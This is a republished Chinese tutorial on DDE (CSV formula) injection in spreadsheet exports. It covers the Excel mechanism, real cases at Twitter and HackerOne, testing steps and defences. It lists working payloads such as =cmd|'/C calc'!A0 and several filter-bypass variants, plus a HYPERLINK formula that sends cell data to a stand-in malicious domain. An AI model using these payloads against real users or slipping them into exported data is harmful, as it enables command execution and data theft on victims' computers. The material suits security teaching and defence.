DDE注入(CSV)漏洞原理及實戰案例全匯總


在滲透中遇到導出功能時,會如何進行測試?任意文件下載?或者越權查看?很多人很容易忽略的是DDE注入:導出格式為csv,xls時,或許你可以嘗試構造這個漏洞,它不會對網站本身產生危害,但會對終端用戶造成任意OS命令執行等危害。


1、漏洞原理:

1)Excel解析機制

第一個需要知道的知識點是,在Excel任何以'='字符開頭的單元格都將被電子表格軟件解釋為公式,如果我們在其中輸入“=2+5”,則表格會顯示為:

實際上,除了=號,以下符號都可用於在Microsoft Excel中觸發公式解釋:

  • 等於(“=”)
  • 加(“+”)
  • 減號(“ - ”)
  • 在 (”@”)

這個可以幫助我們在等號=被過濾時,使用其他運算符繞過。

2)DDE注入

動態數據交換(DDE),全稱DynamicData Exchange,是Windows下進程間通信協議,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用這種機制,根據外部應用的處理結果來更新內容。因此,如果我們制作包含DDE公式的CSV文件,那么在打開該文件時,Excel就會嘗試執行外部應用。比如我們構造包含如下字符串的csv或xls文件:

=cmd | '/ C calc' !A0

Excel會嘗試調用本機CMD命令,給出友好提示,若用戶在無意識狀態下點擊“是”:

而后嘗試接受更正拼寫錯誤,不接受更正則會執行cmd命令,彈出計算器:

所以攻擊的路線就很清晰了:

業務系統接受用戶輸入並導出為csv——>惡意用戶通過界面輸入payload——>受害者下載文件並在PC運行——>受害者PC被攻擊。因此DDE注入攻擊是一種攻擊源來自網站,但最終目標是普通用戶PC的一種攻擊。

2、漏洞危害:

1)OS命令執行

OS任意命令執行是最主要的危害,像上面講過的,可以使用= cmd | '/ C calc' !A0彈計算器或者使用=cmd|'/k ipconfig'!A0彈出ipconfig命令的方式探測漏洞是否存在。類比XSS的利用思路,如果系統可以實現alert(1)彈框效果,說明我們可以執行任意的js代碼,這取決於我們的利用思路。比如:

  • 添加用戶;
  • 開啟任意應用程序:IE;
  • 操作注冊表;
  • 反彈shell;

2)信息泄露

超鏈接功能 Hyperlink創建快捷方式並進行跳轉,單擊包含HYPERLINK函數的單元格時,Microsoft Excel將打開存儲在link_location的文件,如:

可將表格其中一個單元格設置為以下形式:

=HYPERLINK(“https://maliciousDomain.com/evil.html?data=”&A1,“Click to view additional information”)”

將創建一個單元格,顯示文本“單擊以查看其他信息”,當用戶單擊,將發送A1中的數據到maliciousDomain.com,從而導致信息泄露。當然使用第一種攻擊方式也可以實現這種攻擊效果,如:

=6-5 cmd|’ /C “C:\Program Files\InternetExplorer\iexplore.exe” http://<attackers site>/asd.html’!A0

它將用戶定向到惡意釣魚網站,實現竊取哈希值和口令等操作。

3、實戰案例

1)Twitter導出數據處DDE

Twitter用戶發帖,輸入:

界面導出數據處,導出csv文件並在Excel中查看:

若輸入payload:=cmd|' /Ccalc'!A0再次執行,彈出計算器:

2)Hackerone報告導出

這是對於Hackerone過濾的一個繞過,網站后台對於等號=之前新增單引號‘以防止公式執行。但在報告導出功能處參數title輸入:

%0A-2+3+cmd|' /C calc'!D2:

%0A被解析為換行符,使得payload正常執行:

3)Hackerone過濾繞過

這是對后台過濾的第二次繞過,在等號前加一個分號;可繞過:

;=cmd|' /C calc'!A0

Excel識別並解析分隔符;,將數據拆分並執行:

4、挖掘思路:

此漏洞特征較明顯,因此思路簡單:

1、關注系統中是否有導出為csv或xls表格的功能,一般存在於信息統計,日志導出等功能處;

2、確定導出的內容是否用戶可控:

1)可能在界面可直接進行編輯/新增;

2)通過數據篡改/HPP/追蹤數據源等方式看是否可以控制輸入;

3、輸入處寫入測試腳本=2*10,導出后查看表格內容是否解析,輸入:

導出后查看,成功解析:

4、存在過濾,嘗試繞過,最后進行OS執行等深入利用。

5、繞過技巧:

根據案例和挖掘經驗,總結常用的繞過payload有:

1、-3+2+cmd |’ /C calc’ !A0

在等於號被過濾時,可以通過運算符+-的方式繞過;

2、%0A-3+3+cmd|' /C calc'!D2

參數處輸入此payload,%0A被解析,從而后面的數據跳轉到下一行;

3、;-3+3+cmd|' /C calc'!D2

導出文件為csv時,若系統在等號=前加了引號’過濾,則可以使用分號繞過,分號;可分離前后兩部分內容使其分別執行,本機測試:

4、@SUM(cmd|'/c calc'!A0)

5、=HYPERLINK("https://evil.com")

6、防御手段

1)一般的防御手段為,在生成電子表格時,以任何危險符號開頭的字段應該以單引號、撇號(')字符或空格作為前綴,確保單元格不被解釋為公式,但存在可能被繞過的風險。

2)更好的防御手段為,根據業務需求控制用戶輸入為字母數字字符;或黑名單過濾=或-號開頭的單元格數據,過濾=(-)cmd或=(-)HYPERLINK或concat等。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM